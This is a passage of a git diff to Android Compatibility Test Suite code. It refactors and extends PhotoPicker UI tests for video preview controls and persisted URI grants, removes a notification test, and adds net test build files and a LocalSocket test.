intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 101); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit() + 1); mActivity.startActivityForResult(intent, REQUEST_CODE); final GetResultActivity.Result res = mActivity.getResult(); assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED); @@ -137,9 +195,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertThat(itemCount).isEqualTo(imageCount); // Select maxCount + 1 item for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } UiObject snackbarTextView = mDevice.findObject(new UiSelector().text( @@ -150,9 +206,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertWithMessage("Timed out waiting for snackbar to disappear").that( snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue(); - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -171,12 +225,11 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); // Select 1 item - final UiObject item = itemList.get(0); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(0)); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); + assertPersistedGrant(uri, mContext.getContentResolver()); assertRedactedReadOnlyAccess(uri); } @@ -185,22 +238,17 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int imageCount = 4; createImages(imageCount, mContext.getUserId(), mUriList); final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit() - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); mActivity.startActivityForResult(intent, REQUEST_CODE); final List<UiObject> itemList = findItemList(imageCount); final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -208,6 +256,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { for (int i = 0; i < count; i++) { final Uri uri = clipData.getItemAt(i).getUri(); assertPickerUriFormat(uri, mContext.getUserId()); + assertPersistedGrant(uri, mContext.getContentResolver()); assertRedactedReadOnlyAccess(uri); } } @@ -215,10 +264,9 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testMultiSelect_longPress() throws Exception { final int videoCount = 3; - createVideos(videoCount, mContext.getUserId(), mUriList); + createDNGVideos(videoCount, mContext.getUserId(), mUriList); final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit() - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); intent.setType("video/*"); mActivity.startActivityForResult(intent, REQUEST_CODE); @@ -227,27 +275,26 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertThat(itemCount).isEqualTo(videoCount); // Select one item from Photo grid - itemList.get(0).click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(0)); + // Preview the item UiObject item = itemList.get(1); item.longClick(); mDevice.waitForIdle(); + final UiObject addOrSelectButton = findPreviewAddOrSelectButton(); + assertWithMessage("Timed out waiting for AddOrSelectButton to appear") + .that(addOrSelectButton.waitForExists(1000)).isTrue(); + // Select the item from Preview - final UiObject selectButton = findPreviewAddOrSelectButton(); - selectButton.click(); - mDevice.waitForIdle(); + clickAndWait(addOrSelectButton); mDevice.pressBack(); // Select one more item from Photo grid - itemList.get(2).click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(2)); - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); // Verify that all 3 items are returned final ClipData clipData = mActivity.getResult().data.getClipData(); @@ -256,6 +303,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { for (int i = 0; i < count; i++) { final Uri uri = clipData.getItemAt(i).getUri(); assertPickerUriFormat(uri, mContext.getUserId()); + assertPersistedGrant(uri, mContext.getContentResolver()); assertRedactedReadOnlyAccess(uri); } } @@ -265,39 +313,28 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int imageCount = 4; createImages(imageCount, mContext.getUserId(), mUriList); final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit() - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); mActivity.startActivityForResult(intent, REQUEST_CODE); final List<UiObject> itemList = findItemList(imageCount); final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } - final UiObject viewSelectedButton = findViewSelectedButton(); - viewSelectedButton.click(); - mDevice.waitForIdle(); + clickAndWait(findViewSelectedButton()); // Swipe left three times - swipeLeft(); - mDevice.waitForIdle(); - swipeLeft(); - mDevice.waitForIdle(); - swipeLeft(); - mDevice.waitForIdle(); + swipeLeftAndWait(); + swipeLeftAndWait(); + swipeLeftAndWait(); // Deselect one item - final UiObject selectCheckButton = findPreviewSelectCheckButton(); - selectCheckButton.click(); - mDevice.waitForIdle(); + clickAndWait(findPreviewSelectedCheckButton()); - final UiObject addButton = findPreviewAddButton(); - addButton.click(); - mDevice.waitForIdle(); + // Return selected items + clickAndWait(findPreviewAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -305,21 +342,155 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { for (int i = 0; i < count; i++) { final Uri uri = clipData.getItemAt(i).getUri(); assertPickerUriFormat(uri, mContext.getUserId()); + assertPersistedGrant(uri, mContext.getContentResolver()); assertRedactedReadOnlyAccess(uri); } } @Test + public void testMultiSelect_previewVideoPlayPause() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 3); + + // Check Play/Pause in first video + testVideoPreviewPlayPause(); + + // Move to third video + swipeLeftAndWait(); + swipeLeftAndWait(); + // Check Play/Pause in third video + testVideoPreviewPlayPause(); + + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test + public void testMultiSelect_previewVideoMuteButtonInitial() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 1); + + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + final UiObject playerView = findPlayerView(); + + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + + // Test 1: Initial state of the mute Button + // Check that initial state of mute button is `selected`, i.e., volume off + assertThat(muteButton.isSelected()).isTrue(); + + // Test 2: Click Mute Button + // Click to unmute the audio + clickAndWait(muteButton); + // Check that mute button state is `not selected`, i.e., it shows `volume up` icon + assertThat(muteButton.isSelected()).isFalse(); + // Click on the muteButton and check that mute button status is now `selected` + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isTrue(); + // Click on the muteButton and check that mute button status is now `not selected` + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isFalse(); + + // Test 3: Next preview resumes mute state + // Go back and launch preview again + mDevice.pressBack(); + clickAndWait(findViewSelectedButton()); + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + assertThat(muteButton.isSelected()).isFalse(); + + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test + public void testMultiSelect_previewVideoMuteButtonOnSwipe() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 3); + + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + final UiObject playerView = findPlayerView(); + + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + + // Test 1: Swipe resumes mute state, with state of the button = `selected` + assertThat(muteButton.isSelected()).isTrue(); + // Swipe to next page and check that muteButton is selected + swipeLeftAndWait(); + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + assertThat(muteButton.isSelected()).isTrue(); + + // Test 2: Swipe resumes mute state, with state of mute button = `not selected` + // Click muteButton again to check the next video resumes the previous video's mute state + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isFalse(); + // check that next video resumed previous video's mute state + swipeLeftAndWait(); + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + assertThat(muteButton.isSelected()).isFalse(); + + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test + public void testMultiSelect_previewVideoControlsVisibility() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 3); + + mDevice.waitForIdle(); + + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + // Check that buttons auto hide. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + + final UiObject playerView = findPlayerView(); + // Click on StyledPlayerView to make the video controls visible + clickAndWait(playerView); + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Wait for 1s and check that controls are still visible + assertPlayerControlsDontAutoHide(playPauseButton, muteButton); + + // Click on StyledPlayerView and check that controls are no longer visible. Don't click in + // the center, clicking in the center may pause the video. + playerView.clickBottomRight(); + mDevice.waitForIdle(); + assertPlayerControlsHidden(playPauseButton, muteButton); + + // Swipe left and check that controls are not visible + swipeLeftAndWait(); + assertPlayerControlsHidden(playPauseButton, muteButton); + + // Click on the StyledPlayerView and check that controls appear + clickAndWait(playerView); + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Swipe left to check that controls are now visible on swipe + swipeLeftAndWait(); + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Check that the player controls are auto hidden in 1s + assertPlayerControlsAutoHide(playPauseButton, muteButton); + + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test public void testMimeTypeFilter() throws Exception { final int videoCount = 2; - createVideos(videoCount, mContext.getUserId(), mUriList); + createDNGVideos(videoCount, mContext.getUserId(), mUriList); final int imageCount = 1; createImages(imageCount, mContext.getUserId(), mUriList); + final String mimeType = "video/dng"; final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); - // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit() - intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); intent.setType(mimeType); mActivity.startActivityForResult(intent, REQUEST_CODE); @@ -328,14 +499,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isAtLeast(videoCount); for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -343,24 +510,139 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { for (int i = 0; i < count; i++) { final Uri uri = clipData.getItemAt(i).getUri(); assertPickerUriFormat(uri, mContext.getUserId()); + assertPersistedGrant(uri, mContext.getContentResolver()); assertRedactedReadOnlyAccess(uri); assertMimeType(uri, mimeType); } } + private void testVideoPreviewPlayPause() throws Exception { + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + + // Wait for buttons to auto hide. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + + // Click on StyledPlayerView to make the video controls visible + clickAndWait(findPlayerView()); + + // PlayPause button is now pause button, click the button to pause the video. + clickAndWait(playPauseButton); + + // Wait for 1s and check that play button is not auto hidden + assertPlayerControlsDontAutoHide(playPauseButton, muteButton); + + // PlayPause button is now play button, click the button to play the video. + clickAndWait(playPauseButton); + // Check that pause button auto-hides in 1s. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + } + + private void launchPreviewMultipleWithVideos(int videoCount) throws Exception { + createVideos(videoCount, mContext.getUserId(), mUriList); + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit()); + intent.setType("video/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + + final List<UiObject> itemList = findItemList(videoCount); + final int itemCount = itemList.size(); + + assertThat(itemCount).isEqualTo(videoCount); + + for (int i = 0; i < itemCount; i++) { + clickAndWait(itemList.get(i)); + } + + clickAndWait(findViewSelectedButton()); + + // Wait for playback to start. This is needed in some devices where playback + // buffering -> ready state takes around 10s. + final long playbackStartTimeout = 10000; + (findPreviewVideoImageView()).waitUntilGone(playbackStartTimeout); + } + + private void setUpAndAssertStickyPlayerControls(UiObject playerView, UiObject playPauseButton, + UiObject muteButton) throws Exception { + // Wait for 1s or Play/Pause button to hide + playPauseButton.waitUntilGone(1000); + // Click on StyledPlayerView to make the video controls visible + clickAndWait(playerView); + assertPlayerControlsVisible(playPauseButton, muteButton); + } + + private void assertPlayerControlsVisible(UiObject playPauseButton, UiObject muteButton) { + assertVisible(playPauseButton, "Expected play/pause button to be visible"); + assertVisible(muteButton, "Expected mute button to be visible"); + } + + private void assertPlayerControlsHidden(UiObject playPauseButton, UiObject muteButton) { + assertHidden(playPauseButton, "Expected play/pause button to be hidden"); + assertHidden(muteButton, "Expected mute button to be hidden"); + } + + private void assertPlayerControlsAutoHide(UiObject playPauseButton, UiObject muteButton) { + // These buttons should auto hide in 1 second after the video playback start. Since we can't + // identify the video playback start time, we wait for 2 seconds instead. + assertWithMessage("Expected play/pause button to auto hide in 2s") + .that(playPauseButton.waitUntilGone(2000)).isTrue(); + assertHidden(muteButton, "Expected mute button to hide after 2s"); + } + + private void assertPlayerControlsDontAutoHide(UiObject playPauseButton, UiObject muteButton) { + assertWithMessage("Expected play/pause button to not auto hide in 1s") + .that(playPauseButton.waitUntilGone(1100)).isFalse(); + assertVisible(muteButton, "Expected mute button to be still visible after 1s"); + } + + private void assertVisible(UiObject button, String message) { + assertWithMessage(message).that(button.exists()).isTrue(); + } + + private void assertHidden(UiObject button, String message) { + assertWithMessage(message).that(button.exists()).isFalse(); + } + private static UiObject findViewSelectedButton() { return new UiObject(new UiSelector().resourceIdMatches( REGEX_PACKAGE_NAME + ":id/button_view_selected")); } - private static UiObject findPreviewSelectCheckButton() { + private static UiObject findPreviewSelectedCheckButton() { return new UiObject(new UiSelector().resourceIdMatches( - REGEX_PACKAGE_NAME + ":id/preview_select_check_button")); + REGEX_PACKAGE_NAME + ":id/preview_selected_check_button")); } - private void swipeLeft() { + + private static UiObject findPlayerView() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_player_view")); + } + + private static UiObject findMuteButton() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_mute")); + } + + private static UiObject findPlayPauseButton() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/exo_play_pause")); + } + + private static UiObject findPreviewVideoImageView() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_video_image")); + } + + private void clickAndWait(UiObject uiObject) throws Exception { + uiObject.click(); + mDevice.waitForIdle(); + } + + private void swipeLeftAndWait() { final int width = mDevice.getDisplayWidth(); final int height = mDevice.getDisplayHeight(); - mDevice.swipe(width / 2, height / 2, width / 4, height / 2, 10); + mDevice.swipe(15 * width / 20, height / 2, width / 20, height / 2, 10); + mDevice.waitForIdle(); } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java index 020cbe113a9..d0aec7dc305 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java @@ -16,10 +16,6 @@ package android.photopicker.cts.util; -import static android.os.SystemProperties.getBoolean; -import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_IMAGE; -import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_VIDEO; - import static com.google.common.truth.Truth.assertThat; import static com.google.common.truth.Truth.assertWithMessage; @@ -27,20 +23,23 @@ import static org.junit.Assert.fail; import android.content.ContentResolver; import android.content.Context; +import android.content.Intent; +import android.content.UriPermission; import android.database.Cursor; import android.media.ExifInterface; import android.net.Uri; import android.os.FileUtils; import android.os.ParcelFileDescriptor; -import android.provider.CloudMediaProviderContract; -import android.provider.MediaStore; +import android.provider.MediaStore.PickerMediaColumns; import androidx.test.InstrumentationRegistry; import java.io.ByteArrayOutputStream; import java.io.FileNotFoundException; import java.io.InputStream; +import java.util.ArrayList; import java.util.Arrays; +import java.util.List; /** * Photo Picker Utility methods for test assertions. @@ -57,6 +56,20 @@ public class PhotoPickerAssertionsUtils { assertThat(auth).isEqualTo("picker"); } + public static void assertPersistedGrant(Uri uri, ContentResolver resolver) { + resolver.takePersistableUriPermission(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION); + + final List<UriPermission> uriPermissions = resolver.getPersistedUriPermissions(); + final List<Uri> uris = new ArrayList<>(); + for (UriPermission perm : uriPermissions) { + if (perm.isReadPermission()) { + uris.add(perm.getUri()); + } + } + + assertThat(uris).contains(uri); + } + public static void assertMimeType(Uri uri, String expectedMimeType) throws Exception { final Context context = InstrumentationRegistry.getTargetContext(); final String resultMimeType = context.getContentResolver().getType(uri); @@ -65,17 +78,15 @@ public class PhotoPickerAssertionsUtils { public static void assertRedactedReadOnlyAccess(Uri uri) throws Exception { assertThat(uri).isNotNull(); - final String[] projection = new String[]{MediaStore.Files.FileColumns.TITLE, - MediaStore.Files.FileColumns.MEDIA_TYPE}; + final String[] projection = new String[]{ PickerMediaColumns.MIME_TYPE }; final Context context = InstrumentationRegistry.getTargetContext(); final ContentResolver resolver = context.getContentResolver(); - final Cursor c = resolver.query(uri, projection, null, null); - assertThat(c).isNotNull(); - assertThat(c.moveToFirst()).isTrue(); + try (Cursor c = resolver.query(uri, projection, null, null)) { + assertThat(c).isNotNull(); + assertThat(c.moveToFirst()).isTrue(); + + final String mimeType = c.getString(c.getColumnIndex(PickerMediaColumns.MIME_TYPE)); - if (getBoolean("sys.photopicker.pickerdb.enabled", true)) { - final String mimeType = c.getString(c.getColumnIndex( - CloudMediaProviderContract.MediaColumns.MIME_TYPE)); if (mimeType.startsWith("image")) { assertImageRedactedReadOnlyAccess(uri, resolver); } else if (mimeType.startsWith("video")) { @@ -83,24 +94,14 @@ public class PhotoPickerAssertionsUtils { } else { fail("The mime type is not as expected: " + mimeType); } - } else { - final int mediaType = c.getInt(1); - switch (mediaType) { - case MEDIA_TYPE_IMAGE: - assertImageRedactedReadOnlyAccess(uri, resolver); - break; - case MEDIA_TYPE_VIDEO: - assertVideoRedactedReadOnlyAccess(uri, resolver); - break; - default: - fail("The media type is not as expected: " + mediaType); - } } } private static void assertVideoRedactedReadOnlyAccess(Uri uri, ContentResolver resolver) throws Exception { // The location is redacted + // TODO(b/201505595): Make this method work for test_video.mp4. Currently it works only for + // test_video_dng.mp4 try (InputStream in = resolver.openInputStream(uri); ByteArrayOutputStream out = new ByteArrayOutputStream()) { FileUtils.copy(in, out); diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java index 37a44f99915..3705ddd8fb1 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java @@ -19,10 +19,12 @@ package android.photopicker.cts.util; import android.app.UiAutomation; import android.content.Context; import android.net.Uri; +import android.os.Bundle; import android.os.FileUtils; import android.os.UserHandle; import android.photopicker.cts.R; import android.provider.MediaStore; +import android.provider.cts.ProviderTestUtils; import android.provider.cts.media.MediaStoreUtils; import androidx.test.InstrumentationRegistry; @@ -42,11 +44,29 @@ public class PhotoPickerFilesUtils { public static void createImages(int count, int userId, List<Uri> uriList) throws Exception { + createImages(count, userId, uriList, false); + } + + public static void createImages(int count, int userId, List<Uri> uriList, boolean isFavorite) + throws Exception { for (int i = 0; i < count; i++) { - final Uri uri = createImage(userId); + final Uri uri = createImage(userId, isFavorite); uriList.add(uri); clearMediaOwner(uri, userId); } + // Wait for Picker db sync to complete + MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver()); + } + + public static void createDNGVideos(int count, int userId, List<Uri> uriList) + throws Exception { + for (int i = 0; i < count; i++) { + final Uri uri = createDNGVideo(userId); + uriList.add(uri); + clearMediaOwner(uri, userId); + } + // Wait for Picker db sync to complete + MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver()); } public static void createVideos(int count, int userId, List<Uri> uriList) @@ -56,11 +76,16 @@ public class PhotoPickerFilesUtils { uriList.add(uri); clearMediaOwner(uri, userId); } + // Wait for Picker db sync to complete + MediaStore.waitForIdle(InstrumentationRegistry.getContext().getContentResolver()); } - public static void deleteMedia(Uri uri, int userId) throws Exception { - final String cmd = String.format("content delete --uri %s --user %d", uri, userId); - ShellUtils.runShellCommand(cmd); + public static void deleteMedia(Uri uri, Context context) throws Exception { + try { + ProviderTestUtils.setOwner(uri, context.getPackageName()); + context.getContentResolver().delete(uri, Bundle.EMPTY); + } catch (Exception ignored) { + } } private static void clearMediaOwner(Uri uri, int userId) throws Exception { @@ -69,19 +94,26 @@ public class PhotoPickerFilesUtils { ShellUtils.runShellCommand(cmd); } + private static Uri createDNGVideo(int userId) throws Exception { + final Uri uri = stageMedia(R.raw.test_video_dng, + MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId); + return uri; + } + private static Uri createVideo(int userId) throws Exception { - final Uri uri = stageMedia(R.raw.testvideo_meta, + final Uri uri = stageMedia(R.raw.test_video, MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId); return uri; } - private static Uri createImage(int userId) throws Exception { + private static Uri createImage(int userId, boolean isFavorite) throws Exception { final Uri uri = stageMedia(R.raw.lg_g4_iso_800_jpg, - MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId); + MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/jpeg", userId, isFavorite); return uri; } - private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId) throws + private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId, + boolean isFavorite) throws Exception { UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation(); uiAutomation.adoptShellPermissionIdentity( @@ -92,17 +124,24 @@ public class PhotoPickerFilesUtils { final Context userContext = userId == context.getUserId() ? context : context.createPackageContextAsUser("android", /* flags= */ 0, UserHandle.of(userId)); - return stageMedia(resId, collectionUri, mimeType, userContext); + return stageMedia(resId, collectionUri, mimeType, userContext, isFavorite); } finally { uiAutomation.dropShellPermissionIdentity(); } } - private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, Context context) + private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, int userId) throws + Exception { + return stageMedia(resId, collectionUri, mimeType, userId, false); + } + + private static Uri stageMedia(int resId, Uri collectionUri, String mimeType, Context context, + boolean isFavorite) throws IOException { final String displayName = DISPLAY_NAME_PREFIX + System.nanoTime(); final MediaStoreUtils.PendingParams params = new MediaStoreUtils.PendingParams( collectionUri, displayName, mimeType); + params.setIsFavorite(isFavorite); final Uri pendingUri = MediaStoreUtils.createPending(context, params); try (MediaStoreUtils.PendingSession session = MediaStoreUtils.openPending(context, pendingUri)) { diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java index d53a952199d..be1c791703d 100644 --- a/tests/app/src/android/app/cts/NotificationManagerTest.java +++ b/tests/app/src/android/app/cts/NotificationManagerTest.java @@ -1859,32 +1859,6 @@ public class NotificationManagerTest extends AndroidTestCase { } } - public void testNotify_blockedChannelGroup() throws Exception { - mNotificationManager.cancelAll(); - - NotificationChannelGroup group = new NotificationChannelGroup(mId, "group name"); - group.setBlocked(true); - mNotificationManager.createNotificationChannelGroup(group); - NotificationChannel channel = - new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT); - channel.setGroup(mId); - mNotificationManager.createNotificationChannel(channel); - - int id = 1; - final Notification notification = - new Notification.Builder(mContext, mId) - .setSmallIcon(R.drawable.black) - .setWhen(System.currentTimeMillis()) - .setContentTitle("notify#" + id) - .setContentText("This is #" + id + "notification ") - .build(); - mNotificationManager.notify(id, notification); - - if (!checkNotificationExistence(id, /*shouldExist=*/ false)) { - fail("found unexpected notification id=" + id); - } - } - public void testCancel() throws Exception { final int id = 9; sendNotification(id, R.drawable.black); diff --git a/tests/net/Android.bp b/tests/net/Android.bp new file mode 100644 index 00000000000..2a4153ac89b --- /dev/null +++ b/tests/net/Android.bp @@ -0,0 +1,24 @@ +// Copyright (C) 2021 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +java_library { + name: "CtsNetTestsNonUpdatableLib", + srcs: ["src/**/*.java"], + static_libs: ["androidx.test.rules"], + platform_apis: true, +} diff --git a/tests/net/OWNERS b/tests/net/OWNERS new file mode 100644 index 00000000000..67e4fc928a1 --- /dev/null +++ b/tests/net/OWNERS @@ -0,0 +1,3 @@ +# Bug component: 31808 +set noparent +file:platform/packages/modules/Connectivity:master:/OWNERS_core_networking_xts
\ No newline at end of file diff --git a/tests/net/TEST_MAPPING b/tests/net/TEST_MAPPING new file mode 100644 index 00000000000..a6a02d595fd --- /dev/null +++ b/tests/net/TEST_MAPPING @@ -0,0 +1,7 @@ +{ + "imports": [ + { + "path": "packages/modules/Connectivity" + } + ] +} diff --git a/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/net/src/android/net/cts/LocalSocketTest.java new file mode 100644 index 00000000000..969f7060913 --- /dev/null +++ b/tests/net/src/android/net/cts/LocalSocketTest.java @@ -0,0 +1,471 @@ +/* + * Copyright (C) 2008 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.net.cts; + +import android.net.Credentials; +import android.net.LocalServerSocket; +import android.net.LocalSocket; +import android.net.LocalSocketAddress; +import android.os.ParcelFileDescriptor; +import android.system.Os; +import android.system.OsConstants; + +import junit.framework.TestCase; + +import java.io.FileDescriptor; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.util.concurrent.Callable; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class LocalSocketTest extends TestCase { + private final static String ADDRESS_PREFIX = "com.android.net.LocalSocketTest"; + + public void testLocalConnections() throws IOException { + String address = ADDRESS_PREFIX + "_testLocalConnections"; + // create client and server socket + LocalServerSocket localServerSocket = new LocalServerSocket(address); + LocalSocket clientSocket = new LocalSocket(); + + // establish connection between client and server + LocalSocketAddress locSockAddr = new LocalSocketAddress(address); + assertFalse(clientSocket.isConnected()); + clientSocket.connect(locSockAddr); + assertTrue(clientSocket.isConnected()); + + LocalSocket serverSocket = localServerSocket.accept(); + assertTrue(serverSocket.isConnected()); + assertTrue(serverSocket.isBound()); + try { + serverSocket.bind(localServerSocket.getLocalSocketAddress()); + fail("Cannot bind a LocalSocket from accept()"); + } catch (IOException expected) { + } + try { + serverSocket.connect(locSockAddr); + fail("Cannot connect a LocalSocket from accept()"); + } catch (IOException expected) { + } + + Credentials credent = clientSocket.getPeerCredentials(); + assertTrue(0 != credent.getPid()); + + // send data from client to server + OutputStream clientOutStream = clientSocket.getOutputStream(); + clientOutStream.write(12); + InputStream serverInStream = serverSocket.getInputStream(); + assertEquals(12, serverInStream.read()); + + //send data from server to client + OutputStream serverOutStream = serverSocket.getOutputStream(); + serverOutStream.write(3); + InputStream clientInStream = clientSocket.getInputStream(); + assertEquals(3, clientInStream.read()); + + // Test sending and receiving file descriptors + 